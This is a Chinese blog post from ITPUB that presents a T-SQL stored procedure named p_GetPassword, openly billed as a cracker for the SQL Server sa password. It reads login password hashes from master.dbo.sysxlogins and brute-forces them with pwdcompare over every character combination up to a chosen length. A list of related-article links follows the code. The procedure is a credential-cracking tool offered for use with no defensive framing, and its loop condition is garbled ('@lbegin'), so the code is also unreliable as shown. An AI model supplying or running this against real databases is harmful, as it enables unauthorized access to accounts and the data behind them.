一個SQL Server Sa密碼破解的儲存過程
if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[p_GetPassword]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
drop procedure [dbo].[p_GetPassword]
GO
/*--窮舉法破解 SQL Server 使用者密碼
可以破解中文,特殊字元,字元+尾隨空格的密碼
為了方便顯示特殊字元的密碼,在顯示結果中,顯示了組成密碼的ASCII
理論上可以破解任意位數的密碼
條件是你的電腦配置足夠,時間足夠
/*--呼叫示例
exec p_GetPassword
--*/
create proc p_GetPassword
@username sysname=null, --使用者名稱,如果不指定,則列出所有使用者
@pwdlen int=2 --要破解的密碼的位數,預設是2位及以下的
as
set @pwdlen=case when isnull(@pwdlen,0)<1 then 1 else @pwdlen-1 end
select top 255 id=identity(int,0,1) into #t from syscolumns
alter table #t add constraint PK_#t primary key(id)
select name,password
,type=case when xstatus&2048=2048 then 1 else 0 end
,jm=case when password is null then 1 else 0 end
,pwdstr=cast('' as sysname)
,pwd=cast('' as varchar(8000))
into #pwd
from master.dbo.sysxlogins a
where srvid is null
and name=isnull(@username,name)
declare @s1 varchar(8000),@s2 varchar(8000),@s3 varchar(8000)
declare @l int
select @l=0
,@s1='char(aa.id)'
,@s2='cast(aa.id as varchar)'
,@s3=',#t aa'
exec('
update pwd set jm=1,pwdstr='+@s1+'
,pwd='+@s2+'
from #pwd pwd'+@s3+'
where pwd.jm=0
and pwdcompare('+@s1+',pwd.password,pwd.type)=1
')
while exists(select 1 from #pwd where jm=0 and @lbegin
select @l=@l+1
,@s1=@s1+'+char('+char(@l/26+97)+char(@l%26+97)+'.id)'
,@s2=@s2+'+'',''+cast('+char(@l/26+97)+char(@l%26+97)+'.id as varchar)'
,@s3=@s3+',#t '+char(@l/26+97)+char(@l%26+97)
exec('
update pwd set jm=1,pwdstr='+@s1+'
,pwd='+@s2+'
from #pwd pwd'+@s3+'
where pwd.jm=0
and pwdcompare('+@s1+',pwd.password,pwd.type)=1
')
end
select 使用者名稱=name,密碼=pwdstr,密碼ASCII=pwd
from #pwd
go
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/16436858/viewspace-545384/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- SQL Server 儲存過程SQLServer儲存過程
- 【SQL Server】--儲存過程SQLServer儲存過程
- SQL 儲存過程裡呼叫另一個儲存過程SQL儲存過程
- MS SQL Server儲存過程SQLServer儲存過程
- Sql Server系列:儲存過程SQLServer儲存過程
- 解密SQL SERVER儲存過程解密SQLServer儲存過程
- 配置SQL Server Service Broker來傳送儲存過程資料(下)SASQLServer儲存過程
- 產生隨機密碼的sql儲存過程隨機密碼SQL儲存過程
- SQL Server 儲存過程的運用SQLServer儲存過程
- (SQL Server)分頁的儲存過程SQLServer儲存過程
- 幾個實用SQL Server取儲存過程SQLServer儲存過程
- SQL Server基礎:儲存過程SQLServer儲存過程
- sql server儲存過程語法SQLServer儲存過程
- SQL server儲存過程函式SQLServer儲存過程函式
- SQL Server儲存過程中raiserror的使用SQLServer儲存過程AIError
- SQL Server儲存過程的優缺點SQLServer儲存過程
- SQL Server基礎之儲存過程SQLServer儲存過程
- SQL SERVER儲存過程AS和GO的含義SQLServer儲存過程Go
- Java呼叫SQL Server的儲存過程詳解JavaSQLServer儲存過程
- SQL Server 禁用擴充套件儲存過程SQLServer套件儲存過程
- SQL Server 資料備份儲存過程SQLServer儲存過程
- ms sql server儲存過程目前使用模板SQLServer儲存過程
- 【SQL Server】常見系統儲存過程SQLServer儲存過程
- 編寫和優化SQL Server的儲存過程優化SQLServer儲存過程
- SQL Server 儲存過程的經典分頁(轉)SQLServer儲存過程
- SER SERVER儲存過程Server儲存過程
- MySql儲存過程—2、第一個MySql儲存過程的建立MySql儲存過程
- 【fosoyo】SQL Server儲存過程/函式加/解密SQLServer儲存過程函式解密
- SQL SERVER 2005分頁儲存過程SQLServer儲存過程
- 恢復 Microsoft SQL Server SA 密碼的三種方法ROSSQLServer密碼
- SQL Server與MySQL儲存過程學習記錄之一ServerMySql儲存過程
- SQL SERVER 儲存過程 獲取三個數中的最大值SQLServer儲存過程
- 一個自動生成用ADO呼叫SQL SERVER的儲存過程VB程式碼的ADDIN (轉)SQLServer儲存過程
- 如何把SQL Server中一個表,一個儲存過程,一個檢視等改為系統表,系統儲存過程,系統檢視等...SQLServer儲存過程
- SQL Server中建立儲存過程時,with recompoile的作用SQLServer儲存過程
- 在 SQL Server 的儲存過程中呼叫 Com 元件 (轉)SQLServer儲存過程元件
- Ms Sql Server查詢儲存過程中的內容SQLServer儲存過程
- asp.net SQL Server 儲存過程分頁及程式碼呼叫ASP.NETSQLServer儲存過程